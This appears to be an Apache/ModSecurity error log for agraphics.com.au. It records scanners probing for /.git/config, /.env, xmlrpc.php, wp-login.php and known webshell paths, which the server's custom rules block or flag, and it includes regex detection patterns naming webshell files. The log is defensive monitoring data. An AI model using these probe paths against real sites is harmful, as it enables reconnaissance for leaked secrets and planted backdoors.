[Mon Nov 17 04:41:37.969650 2025] [:error] [pid 39449:tid 39462] [client 68.183.48.230:45316] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRo3AaUCymTA3MDfzLN6nQAAAAg"]
[Mon Nov 17 04:41:41.199319 2025] [:error] [pid 40548:tid 40562] [client 68.183.48.230:41220] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRo3BQM_PykfYnxh-j-WzQAAAQw"]
[Mon Nov 17 08:34:21.071256 2025] [:error] [pid 65302:tid 65324] [client 68.183.48.230:51678] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRptjQPMSx2v85r8y7xicgAAAVQ"]
[Mon Nov 17 08:34:23.405822 2025] [:error] [pid 39450:tid 39503] [client 68.183.48.230:45108] [client 68.183.48.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRptj-oZqPB4_7vNEDTLtgAAAFY"]
[Mon Nov 17 19:14:44.453900 2025] [:error] [pid 20913:tid 20929] [client 188.130.221.157:47999] [client 188.130.221.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.130.221.157, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aRsDpOkafGNeN3nY1bdS8gAAA04"]
[Mon Nov 17 19:14:44.474911 2025] [proxy_fcgi:error] [pid 20913:tid 20929] [client 188.130.221.157:47999] AH01071: Got error 'Primary script unknown'
[Mon Nov 17 23:34:27.658772 2025] [:error] [pid 32753:tid 32779] [client 141.98.11.171:25820] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aRtAg06YNqI5vkht9225HwAAA9c"]
[Mon Nov 17 23:34:28.756903 2025] [:error] [pid 32753:tid 32780] [client 141.98.11.171:25979] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aRtAhE6YNqI5vkht9225IQAAA9g"]
[Mon Nov 17 23:48:24.457241 2025] [:error] [pid 20913:tid 20937] [client 182.69.14.151:54022] [client 182.69.14.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.69.14.151, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRtDyOkafGNeN3nY1bd-OAAAA1Y"]
[Mon Nov 17 23:48:24.468874 2025] [proxy_fcgi:error] [pid 20913:tid 20937] [client 182.69.14.151:54022] AH01071: Got error 'Primary script unknown'
[Tue Nov 18 02:02:38.081602 2025] [proxy_fcgi:error] [pid 40793:tid 40867] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Nov 18 02:02:38.397005 2025] [proxy_fcgi:error] [pid 40793:tid 40855] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Nov 18 02:02:38.559712 2025] [proxy_fcgi:error] [pid 40793:tid 40865] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Nov 18 02:02:38.792405 2025] [proxy_fcgi:error] [pid 40793:tid 40869] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Tue Nov 18 02:02:38.958047 2025] [proxy_fcgi:error] [pid 40793:tid 40866] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Nov 18 02:02:39.635088 2025] [proxy_fcgi:error] [pid 40793:tid 40853] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Nov 18 02:02:39.796191 2025] [proxy_fcgi:error] [pid 40793:tid 40857] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Nov 18 02:02:39.954388 2025] [:error] [pid 40793:tid 40868] [client 20.171.140.78:25575] [client 20.171.140.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.171.140.78, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRtjPwzccxeNeH-NUVg8YQAAAFI"], referer: https://www.google.fr/
[Tue Nov 18 02:02:39.959828 2025] [proxy_fcgi:error] [pid 40793:tid 40868] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Nov 18 02:02:40.763179 2025] [proxy_fcgi:error] [pid 40793:tid 40867] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Nov 18 02:02:40.930321 2025] [proxy_fcgi:error] [pid 40793:tid 40855] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Nov 18 02:02:41.270091 2025] [proxy_fcgi:error] [pid 40793:tid 40871] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Nov 18 02:02:41.471993 2025] [proxy_fcgi:error] [pid 40793:tid 40854] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Nov 18 02:02:42.201838 2025] [proxy_fcgi:error] [pid 40793:tid 40852] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Tue Nov 18 02:02:42.385910 2025] [proxy_fcgi:error] [pid 40793:tid 40857] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Tue Nov 18 02:02:42.680577 2025] [proxy_fcgi:error] [pid 40793:tid 40868] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Tue Nov 18 02:02:42.843721 2025] [proxy_fcgi:error] [pid 40793:tid 40851] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Nov 18 02:02:43.046941 2025] [proxy_fcgi:error] [pid 40793:tid 40860] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Nov 18 02:02:43.537709 2025] [proxy_fcgi:error] [pid 40793:tid 40867] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Tue Nov 18 02:02:43.754011 2025] [proxy_fcgi:error] [pid 40793:tid 40872] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Nov 18 02:02:43.923136 2025] [proxy_fcgi:error] [pid 40793:tid 40861] [client 20.171.140.78:25575] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Tue Nov 18 02:02:44.210577 2025] [:error] [pid 40793:tid 40865] [client 20.171.140.78:25575] [client 20.171.140.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aRtjRAzccxeNeH-NUVg8ewAAAE8"], referer: https://www.bing.com/
[Tue Nov 18 02:02:44.744492 2025] [proxy_fcgi:error] [pid 39189:tid 39211] [client 20.171.140.78:25478] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Nov 18 02:02:45.172565 2025] [proxy_fcgi:error] [pid 39189:tid 39214] [client 20.171.140.78:25478] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Tue Nov 18 02:02:45.804270 2025] [proxy_fcgi:error] [pid 39189:tid 39195] [client 20.171.140.78:25478] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Nov 18 02:02:45.964990 2025] [proxy_fcgi:error] [pid 39189:tid 39205] [client 20.171.140.78:25478] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Nov 18 02:02:46.126844 2025] [proxy_fcgi:error] [pid 39189:tid 39196] [client 20.171.140.78:25478] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Nov 18 02:02:46.288731 2025] [proxy_fcgi:error] [pid 39189:tid 39198] [client 20.171.140.78:25478] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Tue Nov 18 02:02:46.981525 2025] [:error] [pid 39189:tid 39193] [client 20.171.140.78:25478] [client 20.171.140.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aRtjRpJJLi753QwyqGzujgAAAIA"], referer: https://duckduckgo.com/
[Tue Nov 18 02:02:47.526194 2025] [proxy_fcgi:error] [pid 40553:tid 40568] [client 20.171.140.78:25588] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Tue Nov 18 02:02:48.554785 2025] [proxy_fcgi:error] [pid 40553:tid 40579] [client 20.171.140.78:25588] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Nov 18 02:02:49.447029 2025] [proxy_fcgi:error] [pid 40553:tid 40587] [client 20.171.140.78:25588] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Tue Nov 18 02:02:49.607244 2025] [proxy_fcgi:error] [pid 40553:tid 40591] [client 20.171.140.78:25588] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Tue Nov 18 02:02:49.937688 2025] [proxy_fcgi:error] [pid 40553:tid 40569] [client 20.171.140.78:25588] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Nov 18 02:02:50.098631 2025] [proxy_fcgi:error] [pid 40553:tid 40590] [client 20.171.140.78:25588] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Nov 18 02:02:50.259248 2025] [proxy_fcgi:error] [pid 40553:tid 40577] [client 20.171.140.78:25588] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Tue Nov 18 02:02:51.249003 2025] [proxy_fcgi:error] [pid 40553:tid 40571] [client 20.171.140.78:25588] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Tue Nov 18 02:02:52.102914 2025] [:error] [pid 40553:tid 40574] [client 20.171.140.78:25588] [client 20.171.140.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aRtjTNuLE1BqoX0RcsL2FgAAAAY"], referer: https://www.yahoo.com/
[Tue Nov 18 20:36:30.773209 2025] [proxy_fcgi:error] [pid 44471:tid 44528] [client 208.84.101.246:49605] AH01071: Got error 'Primary script unknown'
[Tue Nov 18 20:36:31.172909 2025] [proxy_fcgi:error] [pid 44471:tid 44508] [client 208.84.101.246:63655] AH01071: Got error 'Primary script unknown'
[Tue Nov 18 21:18:10.164606 2025] [:error] [pid 44472:tid 44551] [client 84.247.191.22:57928] [client 84.247.191.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aRxyEoKhGwkiLjv8BQwZ1wAAAVQ"], referer: binance.com
[Tue Nov 18 21:37:30.034240 2025] [:error] [pid 44470:tid 44484] [client 45.134.79.103:52150] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aRx2mjv-RLYfULjlgDb_NwAAAEk"]
[Tue Nov 18 21:37:30.699567 2025] [:error] [pid 1387:tid 1412] [client 45.134.79.103:62594] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aRx2mkzBvalKyx3hMvWelgAAABM"]
[Tue Nov 18 21:37:31.367481 2025] [:error] [pid 44560:tid 44572] [client 45.134.79.103:53610] [client 45.134.79.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRx2mwnbP7etF3q5-5vI8AAAAME"]
[Wed Nov 19 03:51:27.570049 2025] [proxy_fcgi:error] [pid 21900:tid 21965] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Nov 19 03:51:28.000312 2025] [proxy_fcgi:error] [pid 21900:tid 21964] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Nov 19 03:51:28.200583 2025] [proxy_fcgi:error] [pid 21900:tid 21967] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Nov 19 03:51:28.366445 2025] [proxy_fcgi:error] [pid 21900:tid 21968] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Nov 19 03:51:28.838815 2025] [proxy_fcgi:error] [pid 21900:tid 21970] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Nov 19 03:51:29.179486 2025] [proxy_fcgi:error] [pid 21900:tid 21974] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Nov 19 03:51:29.343227 2025] [proxy_fcgi:error] [pid 21900:tid 21975] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Nov 19 03:51:29.510102 2025] [:error] [pid 21900:tid 21976] [client 20.25.163.76:24633] [client 20.25.163.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.25.163.76, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aRzOQVi_9MbubBVVD0IIcgAAAI8"], referer: https://www.google.com/
[Wed Nov 19 03:51:29.516093 2025] [proxy_fcgi:error] [pid 21900:tid 21976] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Nov 19 03:51:29.861021 2025] [proxy_fcgi:error] [pid 21900:tid 21977] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Nov 19 03:51:30.023897 2025] [proxy_fcgi:error] [pid 21900:tid 21966] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Nov 19 03:51:30.352168 2025] [proxy_fcgi:error] [pid 21900:tid 21978] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Nov 19 03:51:30.515651 2025] [proxy_fcgi:error] [pid 21900:tid 21979] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Nov 19 03:51:31.344165 2025] [proxy_fcgi:error] [pid 21900:tid 21980] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Nov 19 03:51:31.505948 2025] [proxy_fcgi:error] [pid 21900:tid 21981] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Nov 19 03:51:31.668313 2025] [proxy_fcgi:error] [pid 21900:tid 21983] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Nov 19 03:51:32.177113 2025] [proxy_fcgi:error] [pid 21900:tid 21985] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Nov 19 03:51:32.351258 2025] [proxy_fcgi:error] [pid 21900:tid 21961] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Nov 19 03:51:32.557755 2025] [proxy_fcgi:error] [pid 21900:tid 21984] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Nov 19 03:51:32.719174 2025] [proxy_fcgi:error] [pid 21900:tid 21963] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Nov 19 03:51:32.901820 2025] [proxy_fcgi:error] [pid 21900:tid 21962] [client 20.25.163.76:24633] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Nov 19 03:51:33.071746 2025] [:error] [pid 21900:tid 21967] [client 20.25.163.76:24633] [client 20.25.163.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aRzORVi_9MbubBVVD0IIgQAAAIY"], referer: https://www.google.de/
[Wed Nov 19 03:51:33.777040 2025] [proxy_fcgi:error] [pid 21900:tid 21971] [client 20.25.163.76:24598] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Nov 19 03:51:34.133328 2025] [proxy_fcgi:error] [pid 21900:tid 21975] [client 20.25.163.76:24598] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Nov 19 03:51:34.646693 2025] [proxy_fcgi:error] [pid 21900:tid 21977] [client 20.25.163.76:24598] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Nov 19 03:51:34.812370 2025] [proxy_fcgi:error] [pid 21900:tid 21966] [client 20.25.163.76:24598] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Nov 19 03:51:34.976777 2025] [proxy_fcgi:error] [pid 21900:tid 21978] [client 20.25.163.76:24598] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Nov 19 03:51:35.147251 2025] [proxy_fcgi:error] [pid 21900:tid 21981] [client 20.25.163.76:24598] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Nov 19 03:51:35.949921 2025] [:error] [pid 21900:tid 21961] [client 20.25.163.76:24598] [client 20.25.163.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aRzOR1i_9MbubBVVD0IIkAAAAIA"], referer: https://www.google.fr/
[Wed Nov 19 03:51:37.417889 2025] [proxy_fcgi:error] [pid 21899:tid 21945] [client 20.25.163.76:24612] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Nov 19 03:51:38.175282 2025] [proxy_fcgi:error] [pid 21899:tid 21951] [client 20.25.163.76:24612] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Nov 19 03:51:38.795610 2025] [proxy_fcgi:error] [pid 21899:tid 21954] [client 20.25.163.76:24612] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Nov 19 03:51:39.160635 2025] [proxy_fcgi:error] [pid 21899:tid 21955] [client 20.25.163.76:24612] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Nov 19 03:51:39.329894 2025] [proxy_fcgi:error] [pid 21899:tid 21956] [client 20.25.163.76:24612] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Nov 19 03:51:39.523828 2025] [proxy_fcgi:error] [pid 21899:tid 21957] [client 20.25.163.76:24612] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Nov 19 03:51:39.754728 2025] [proxy_fcgi:error] [pid 21899:tid 21958] [client 20.25.163.76:24612] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Nov 19 03:51:41.107229 2025] [proxy_fcgi:error] [pid 21899:tid 21936] [client 20.25.163.76:24612] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Nov 19 03:51:41.822662 2025] [:error] [pid 21899:tid 21948] [client 20.25.163.76:24612] [client 20.25.163.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aRzOTauTyG_r_ms0YlY_DgAAAE4"], referer: https://www.google.de/
[Wed Nov 19 05:39:26.459069 2025] [:error] [pid 6554:tid 6572] [client 34.143.147.242:45598] [client 34.143.147.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aRznjt8rvPWLafJFqmUveAAAAAw"]
[Wed Nov 19 06:52:19.112214 2025] [proxy_fcgi:error] [pid 6556:tid 6623] [client 48.210.86.54:1153] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:52:20.788858 2025] [proxy_fcgi:error] [pid 6556:tid 6621] [client 48.210.86.54:1153] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:52:20.906526 2025] [proxy_fcgi:error] [pid 6556:tid 6633] [client 48.210.86.54:1153] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:52:21.034455 2025] [proxy_fcgi:error] [pid 6556:tid 6625] [client 48.210.86.54:1153] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:52:21.326400 2025] [proxy_fcgi:error] [pid 6556:tid 6635] [client 48.210.86.54:1153] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:52:22.936314 2025] [proxy_fcgi:error] [pid 6556:tid 6642] [client 48.210.86.54:1153] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:52:23.125032 2025] [proxy_fcgi:error] [pid 6556:tid 6638] [client 48.210.86.54:1153] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:52:23.504079 2025] [proxy_fcgi:error] [pid 6556:tid 6620] [client 48.210.86.54:1153] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:52:23.628252 2025] [proxy_fcgi:error] [pid 6556:tid 6619] [client 48.210.86.54:1153] AH01071: Got error 'Primary script unknown'
[Wed Nov 19 06:52:23.743816 2025] [:error] [pid 6556:tid 6630] [client 48.210.86.54:1153] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aRz4p5uL7hhgrmdM1mtsSwAAAIw"]
[Wed Nov 19 06:52:26.646382 2025] [:error] [pid 6644:tid 6651] [client 48.210.86.54:8303] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aRz4qk0i6Rf788MB6sbIqgAAAMU"]
[Wed Nov 19 06:52:28.275402 2025] [:error] [pid 6555:tid 6614] [client 48.210.86.54:9510] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aRz4rEbVJm8eMsGMTCN_zwAAAFc"]
[Wed Nov 19 06:52:58.845198 2025] [:error] [pid 6919:tid 6940] [client 48.210.86.54:6723] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aRz4ykYFdN1s_9xJVUmVzAAAARI"]
[Wed Nov 19 06:53:03.227246 2025] [:error] [pid 6919:tid 6927] [client 48.210.86.54:9560] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aRz4z0YFdN1s_9xJVUmV2AAAAQU"]
[Wed Nov 19 06:53:11.390651 2025] [:error] [pid 6556:tid 6642] [client 48.210.86.54:7271] [client 48.210.86.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aRz415uL7hhgrmdM1mtsogAAAJg"]
